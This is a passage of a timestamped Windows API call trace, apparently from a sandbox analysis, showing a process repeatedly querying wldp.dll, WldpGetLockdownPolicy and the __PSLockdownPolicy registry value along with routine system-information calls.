lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.990] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.990] WldpGetLockdownPolicy () returned 0x0 [0091.990] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.990] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.990] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.990] RegCloseKey (hKey=0x528) returned 0x0 [0091.990] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.990] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.991] CoTaskMemFree (pv=0x43be9e8) [0091.991] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.991] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.991] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.991] WldpGetLockdownPolicy () returned 0x0 [0091.991] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.991] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.991] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.991] RegCloseKey (hKey=0x528) returned 0x0 [0091.991] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.991] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.991] CoTaskMemFree (pv=0x43be9e8) [0091.991] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.992] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.992] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.992] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.992] WldpGetLockdownPolicy () returned 0x0 [0091.992] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.992] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.992] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.992] RegCloseKey (hKey=0x528) returned 0x0 [0091.992] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.992] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.992] CoTaskMemFree (pv=0x43be9e8) [0091.992] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.992] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.993] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.993] WldpGetLockdownPolicy () returned 0x0 [0091.993] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.993] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.993] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.993] RegCloseKey (hKey=0x528) returned 0x0 [0091.995] CoTaskMemAlloc (cb=0x20c) returned 0x43be9e8 [0091.995] GetSystemDirectoryW (in: lpBuffer=0x43be9e8, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0091.995] CoTaskMemFree (pv=0x43be9e8) [0091.995] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0091.995] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0091.995] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0091.995] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0091.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0091.996] WldpGetLockdownPolicy () returned 0x0 [0091.996] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0091.996] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0091.996] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0091.996] RegCloseKey (hKey=0x528) returned 0x0 [0092.691] CoCreateGuid (in: pguid=0x427e12c | out: pguid=0x427e12c*(Data1=0xb2883204, Data2=0xbbf6, Data3=0x4ca0, Data4=([0]=0x8c, [1]=0xaf, [2]=0xcb, [3]=0x9e, [4]=0x5d, [5]=0x39, [6]=0xf6, [7]=0x59))) returned 0x0 [0092.691] CoCreateGuid (in: pguid=0x427e12c | out: pguid=0x427e12c*(Data1=0x77f3fa5e, Data2=0x9852, Data3=0x4f61, Data4=([0]=0xa4, [1]=0xb6, [2]=0x6f, [3]=0x2c, [4]=0xf5, [5]=0x95, [6]=0x35, [7]=0x24))) returned 0x0 [0092.691] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0092.691] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0092.691] CoTaskMemFree (pv=0x42c9ac0) [0092.691] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0092.691] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0092.691] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0092.691] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0092.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0092.692] WldpGetLockdownPolicy () returned 0x0 [0092.692] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0092.692] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0092.692] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0092.692] RegCloseKey (hKey=0x528) returned 0x0 [0092.692] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0092.692] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0092.692] CoTaskMemFree (pv=0x42c9ac0) [0092.692] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0092.692] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0092.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0092.692] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0092.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0092.692] WldpGetLockdownPolicy () returned 0x0 [0092.692] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0092.693] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0092.693] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0092.693] RegCloseKey (hKey=0x528) returned 0x0 [0092.744] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0092.744] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0092.744] CoTaskMemFree (pv=0x42c9ac0) [0092.744] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0092.744] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0092.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0092.744] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0092.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0092.744] WldpGetLockdownPolicy () returned 0x0 [0092.744] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0092.745] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0092.745] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0092.745] RegCloseKey (hKey=0x528) returned 0x0 [0092.745] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0092.745] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0092.745] CoTaskMemFree (pv=0x42c9ac0) [0092.745] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0092.745] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0092.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0092.745] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0092.745] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0092.745] WldpGetLockdownPolicy () returned 0x0 [0092.745] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0092.745] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0092.745] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0092.745] RegCloseKey (hKey=0x528) returned 0x0 [0092.746] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0092.746] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0092.746] CoTaskMemFree (pv=0x42c9ac0) [0092.746] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0092.746] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0092.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0092.746] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0092.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0092.746] WldpGetLockdownPolicy () returned 0x0 [0092.746] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0092.746] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0092.746] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0092.746] RegCloseKey (hKey=0x528) returned 0x0 [0092.746] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0092.746] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0092.746] CoTaskMemFree (pv=0x42c9ac0) [0092.747] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0092.747] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\wldp.dll", nBufferLength=0x105, lpBuffer=0x427dbd8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\wldp.dll", lpFilePart=0x0) returned 0x1c [0092.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e038) returned 1 [0092.747] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll"), fInfoLevelId=0x0, lpFileInformation=0x427e0b4 | out: lpFileInformation=0x427e0b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f241292, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0x9f241292, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0x9f241292, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0092.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e034) returned 1 [0092.747] WldpGetLockdownPolicy () returned 0x0 [0092.747] GetSystemInfo (in: lpSystemInfo=0x427e0e0 | out: lpSystemInfo=0x427e0e0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0092.747] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e06c | out: phkResult=0x427e06c*=0x528) returned 0x0 [0092.747] RegQueryValueExW (in: hKey=0x528, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x427e088, lpData=0x0, lpcbData=0x427e084*=0x0 | out: lpType=0x427e088*=0x0, lpData=0x0, lpcbData=0x427e084*=0x0) returned 0x2 [0092.747] RegCloseKey (hKey=0x528) returned 0x0 [0092.747] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0092.747] GetSystemDirectoryW (in: lpBuffer=0x42c9ac0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0092.747] CoTaskMemFree (pv=0x42c9ac0) [0092.747] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x427db5c, lpFilePart=0x0 | out: 